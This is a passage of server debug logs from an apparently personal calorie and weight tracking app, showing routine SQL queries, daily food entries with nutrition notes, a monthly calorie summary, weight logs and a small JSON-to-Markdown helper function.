    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T14:50:56.215Z server-connect:output restrict: undefined
2025-12-22T14:50:56.215Z server-connect:app Executing action step select
2025-12-22T14:50:56.215Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T14:50:56.215Z server-connect:app Executing action step identify
2025-12-22T14:50:56.215Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:56.215Z server-connect:output identity: 1
2025-12-22T14:50:56.215Z server-connect:app Executing action step restrict
2025-12-22T14:50:56.215Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:56.217Z server-connect:output restrict: undefined
2025-12-22T14:50:56.217Z server-connect:app Executing action step single
2025-12-22T14:50:56.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T14:50:56.219Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T14:50:56.220Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T14:50:56.220Z server-connect:app Executing action step select
2025-12-22T14:50:56.220Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T14:50:56.221Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  },
  {
    id: 483,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black tea with lemon,Green tea,Herbal tea,Tea with skim milk and no sugar',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 2,
    skip_reason: 'Contains sugar and milk, which add calories. While not terrible, for muscle development, focusing on protein and complex carbs is better. Can be enjoyed in moderation.'
  },
  {
    id: 484,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)',
    replacements: 'Artificial sweeteners (stevia, erythritol, sucralose),Less sugar,Small amount of honey (still caloric, but some nutritional benefits)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 3,
    skip_reason: 'High in empty calories, provides no nutritional value, and can contribute to sugar crashes. For muscle development, these calories are better spent on nutrient-dense foods.'
  },
  {
    id: 485,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Black coffee (no sugar/milk)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent choice. Very low in calories, rich in antioxidants, and can aid metabolism. No reason to skip.'
  },
  {
    id: 486,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Aalo Gobi Sukhi Sabji',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed mixed vegetables,Gobi sabji with less potato,Salad with grilled chicken/paneer',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but portion size and oil content can impact calorie count. Good source of vegetables.'
  },
  {
    id: 487,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Roti',
    calories: 270,
    protein_gm: 9,
    carbs_gm: 57,
    fat_gm: 3,
    quantity: '3 rotis (approx 30g each)',
    replacements: 'Whole wheat roti (slightly lower GI),Jowar/Bajra roti (higher fiber),Brown rice (in moderation),Quinoa',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 2,
    skip_reason: 'While a staple, 3 rotis can contribute significantly to carb intake. For muscle development, focus on complex carbs and protein. Can be reduced or swapped for higher fiber options.'
  },
  {
    id: 488,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-22T06:19:05.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, no reason to skip. Contains antioxidants and can aid metabolism.'
  },
  {
    id: 489,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Dal (Lentil Soup)',
    calories: 150,
    protein_gm: 10,
    carbs_gm: 25,
    fat_gm: 2,
    quantity: '1 serving (approx 150g)',
    replacements: 'Lighter dal preparations (less oil/ghee),More vegetables in dal',
    created_at: '2025-12-22T09:20:55.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 490,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Boiled Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 1,
    quantity: '1 serving (approx 150g cooked)',
    replacements: 'Brown rice,Quinoa,Millet,Cauliflower rice',
    created_at: '2025-12-22T09:20:55.000Z',
    skip_level: 2,
    skip_reason: 'While a good source of energy, brown rice or other whole grains offer more fiber and nutrients for sustained energy and better digestion, which is beneficial for muscle development.'
  },
  {
    id: 491,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Onion Tomato Kheera Salad',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 6,
    fat_gm: 1,
    quantity: '1 serving (approx 100g)',
    replacements: 'More leafy greens,Less dressing (if any added)',
    created_at: '2025-12-22T09:20:55.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 492,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Amla (Indian Gooseberry)',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)',
    replacements: 'Other low-calorie fruits',
    created_at: '2025-12-22T09:20:55.000Z',
    skip_level: 1,
    skip_reason: ''
  }
]
2025-12-22T14:50:56.221Z server-connect:app Executing action step setvalue
2025-12-22T14:50:56.221Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T14:50:56.221Z server-connect:output var_total: 1325
2025-12-22T14:50:56.221Z server-connect:app Executing action step setvalue
2025-12-22T14:50:56.221Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T14:50:56.222Z server-connect:output var_consumed: 55
2025-12-22T14:50:56.222Z server-connect:app Executing action step setvalue
2025-12-22T14:50:56.222Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T14:50:56.222Z server-connect:output var_deficit: 1075
2025-12-22T14:50:56.222Z server-connect:app Executing action step custom
2025-12-22T14:50:56.222Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T14:50:56.223Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  }
]
2025-12-22T14:50:56.742Z server-connect:app Executing action step identify
2025-12-22T14:50:56.742Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:56.742Z server-connect:output identity: 1
2025-12-22T14:50:58.354Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-22T14:50:58.355Z server-connect:app Executing action step identify
2025-12-22T14:50:58.355Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:58.355Z server-connect:output identity: 1
2025-12-22T14:50:58.355Z server-connect:app Executing action step restrict
2025-12-22T14:50:58.355Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:58.355Z server-connect:output restrict: undefined
2025-12-22T14:50:58.355Z server-connect:app Executing action step select
2025-12-22T14:50:58.356Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-22T14:50:58.356Z server-connect:output items_consumed_today: [
  {
    id: 478,
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium'
  },
  {
    id: 479,
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 480,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 481,
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)'
  },
  {
    id: 482,
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)'
  },
  {
    id: 483,
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)'
  },
  {
    id: 484,
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)'
  },
  {
    id: 485,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 486,
    item_name: 'Aalo Gobi Sukhi Sabji',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 487,
    item_name: 'Roti',
    calories: 270,
    protein_gm: 9,
    carbs_gm: 57,
    fat_gm: 3,
    quantity: '3 rotis (approx 30g each)'
  },
  {
    id: 488,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 489,
    item_name: 'Dal (Lentil Soup)',
    calories: 150,
    protein_gm: 10,
    carbs_gm: 25,
    fat_gm: 2,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 490,
    item_name: 'Boiled Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 1,
    quantity: '1 serving (approx 150g cooked)'
  },
  {
    id: 491,
    item_name: 'Onion Tomato Kheera Salad',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 6,
    fat_gm: 1,
    quantity: '1 serving (approx 100g)'
  },
  {
    id: 492,
    item_name: 'Amla (Indian Gooseberry)',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)'
  }
]
2025-12-22T14:50:58.356Z server-connect:app Executing action step paged
2025-12-22T14:50:58.357Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-22T14:50:58.359Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 18,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-21T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' }
  ]
}
2025-12-22T14:50:58.359Z server-connect:app Executing action step run
2025-12-22T14:50:58.359Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-22T14:50:58.360Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
